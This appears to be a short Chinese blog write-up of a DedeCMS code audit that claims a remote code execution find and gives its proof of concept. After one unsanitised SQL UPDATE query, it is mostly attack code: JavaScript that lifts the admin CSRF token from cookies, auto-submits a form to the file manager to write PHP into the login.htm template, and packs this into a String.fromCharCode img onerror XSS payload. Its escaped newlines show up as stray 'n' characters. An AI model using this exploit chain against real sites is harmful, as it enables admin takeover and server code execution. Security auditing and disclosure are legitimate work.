记一次代码审计中RCE挖掘及POC编写

$query = "UPDATE `#@__archives` SET typeid='$typeid',typeid2='$typeid2',sortrank='$sortrank',flag='$flag',click='$click',ismake='$ismake',arcrank='$arcrank',money='$money',title='$title',color='$color',writer='$writer',source='$source',litpic='$litpic',pubdate='$pubdate',notpost='$notpost',description='$description',keywords='$keywords',shorttitle='$shorttitle',filename='$filename',dutyadmin='$adminid',weight='$weight' WHERE id='$id'; ";

//将此脚本放在浏览器控制台执行即可获得payloadvar codeString = "//  获取URLn" +    "var url = document.URL;n" +    "var domainMatch = url.match(/^(https?:\/\/[^/]+)/);n" +    "var domain = domainMatch[1];n" +    "n" +    "//  获取Cookien" +    "var cookieString = document.cookie;n" +    "n" +    "// 创建一个新的 form 元素n" +    "var form = document.createElement("form");n" +    "n" +    "// 设置 form 的属性n" +    "form.setAttribute("method", "POST");n" +    "form.setAttribute("action", domain+"/admin/file_manage_control.php");n" +    "n" +    "// 使用正则表达式匹配 dede_csrf_token 的值n" +    "var csrfTokenMatch = cookieString.match(/dede_csrf_token=([^;]+)/);n" +    "n" +    "// 提取匹配到的值n" +    "var csrfTokenValue = csrfTokenMatch[1]; // 提取匹配到的值n" +    "n" +    "// 创建并设置隐藏字段n" +    "var fields = [n" +    "  { name: "fmdo", value: "edit" },n" +    "  { name: "backurl", value: "" },n" +    "  { name: "_csrf_token", value: csrfTokenValue },n" +    "  { name: "activepath", value: "/admin/templets" },n" +    "  { name: "filename", value: "login.htm" },n" +    "  { name: "str", value: "1<?php phpinfo();?>" },n" +    "  { name: "B1", value: "" }n" +    "];n" +    "n" +    "// 遍历字段数组并创建相应的 input 元素n" +    "fields.forEach(function (field) {n" +    "  var input = document.createElement("input");n" +    "  input.setAttribute("type", "hidden");n" +    "  input.setAttribute("name", field.name);n" +    "  input.setAttribute("value", field.value);n" +    "  form.appendChild(input);n" +    "});n" +    "n" +    "// 创建一个提交按钮并添加到 form 中n" +    "var submitButton = document.createElement("input");n" +    "submitButton.setAttribute("type", "submit");n" +    "submitButton.setAttribute("value", "Submit request");n" +    "form.appendChild(submitButton);n" +    "n" +    "// 将 form 添加到文档中并自动提交n" +    "document.body.appendChild(form);n" +    "form.submit();";var asciiArray = [];for (var i = 0; i < codeString.length; i++) {    asciiArray.push(codeString.charCodeAt(i));}var asciiString = asciiArray.join(',');console.log('<img src="x"n  onerror="eval(String.fromCharCode('+asciiString+'))">')